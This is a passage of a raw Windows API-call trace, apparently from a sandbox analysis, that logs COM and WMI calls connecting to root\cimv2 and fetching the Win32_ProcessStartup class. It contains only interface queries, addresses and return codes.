ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4b0720) returned 0x0 [0128.244] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0128.244] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0128.244] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0128.244] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0128.244] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0128.244] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b483030) returned 0x0 [0128.244] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483030, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.245] WbemDefPath:IUnknown:Release (This=0x1b483030) returned 0x3 [0128.245] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0128.245] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0128.245] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0128.245] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0128.245] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0128.245] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0128.245] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0128.245] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4b0720) returned 0x0 [0128.245] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0128.245] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0128.245] WbemDefPath:IWbemPath:SetText (This=0x1b4b0720, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0128.245] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0128.245] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0128.245] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.245] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0128.245] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0128.245] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0128.245] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.246] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b483330) returned 0x0 [0128.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483330, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0128.246] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b483330, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4832d0) returned 0x0 [0128.246] WbemLocator:IUnknown:Release (This=0x1b483330) returned 0x0 [0128.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4832d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4832d0) returned 0x0 [0128.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4832d0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0128.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4832d0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0128.246] WbemLocator:IUnknown:AddRef (This=0x1b4832d0) returned 0x3 [0128.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4832d0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0128.246] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4832d0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0128.247] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4832d0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0128.247] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0128.247] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0128.247] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4832d0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0128.247] WbemLocator:IUnknown:Release (This=0x1b4832d0) returned 0x2 [0128.247] WbemLocator:IUnknown:Release (This=0x1b4832d0) returned 0x1 [0128.247] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0128.247] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0128.247] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4832d0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4832d0) returned 0x0 [0128.247] WbemLocator:IUnknown:AddRef (This=0x1b4832d0) returned 0x3 [0128.247] WbemLocator:IUnknown:Release (This=0x1b4832d0) returned 0x2 [0128.247] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0128.247] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0128.247] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.247] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b483670) returned 0x0 [0128.247] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b483670, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4cdfc0) returned 0x0 [0128.304] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cdfc0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b511bb0) returned 0x0 [0128.305] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511bb0, pProxy=0x1b4cdfc0, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0128.305] WbemLocator:IUnknown:Release (This=0x1b511bb0) returned 0x1 [0128.305] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cdfc0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b511bf8) returned 0x0 [0128.305] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cdfc0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b511bb0) returned 0x0 [0128.305] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511bb0, pProxy=0x1b4cdfc0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0128.305] WbemLocator:IUnknown:Release (This=0x1b511bb0) returned 0x2 [0128.305] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x1 [0128.305] CoTaskMemFree (pv=0x1b4621b0) [0128.305] WbemLocator:IUnknown:Release (This=0x1b483670) returned 0x0 [0128.305] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cdfc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b511bf8) returned 0x0 [0128.305] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0128.306] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0128.306] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cdfc0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0128.307] WbemLocator:IUnknown:AddRef (This=0x1b511bf8) returned 0x3 [0128.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0128.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0128.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b511ad8) returned 0x0 [0128.307] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511ad8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.307] WbemLocator:IUnknown:Release (This=0x1b511ad8) returned 0x3 [0128.307] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0128.307] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0128.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b511bc0) returned 0x0 [0128.307] WbemLocator:IRpcOptions:Query (in: This=0x1b511bc0, pPrx=0x1b511bf8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0128.307] WbemLocator:IUnknown:Release (This=0x1b511bc0) returned 0x3 [0128.307] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x2 [0128.307] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0128.307] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0128.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4cdfc0) returned 0x0 [0128.308] WbemLocator:IUnknown:AddRef (This=0x1b4cdfc0) returned 0x4 [0128.308] WbemLocator:IUnknown:Release (This=0x1b4cdfc0) returned 0x3 [0128.308] WbemLocator:IUnknown:Release (This=0x1b4cdfc0) returned 0x2 [0128.308] SysStringLen (param_1=0x0) returned 0x0 [0128.308] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0128.308] WbemLocator:IUnknown:AddRef (This=0x1b511bf8) returned 0x3 [0128.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b511bf8) returned 0x0 [0128.308] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x3 [0128.308] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x2 [0128.308] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0128.308] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0128.308] IWbemServices:GetObject (in: This=0x1b4cdfc0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d9b60, ppCallResult=0x0) returned 0x0 [0128.310] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0128.310] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0128.310] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0128.310] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0128.310] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0128.310] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0128.310] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.311] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4835d0) returned 0x0 [0128.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4835d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0128.311] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4835d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4af3a0) returned 0x0 [0128.311] WbemDefPath:IUnknown:Release (This=0x1b4835d0) returned 0x0 [0128.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4af3a0) returned 0x0 [0128.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0128.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0128.312] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0128.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0128.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0128.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4835f0) returned 0x0 [0128.312] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4835f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.312] WbemDefPath:IUnknown:Release (This=0x1b4835f0) returned 0x3 [0128.312] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0128.312] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0128.312] 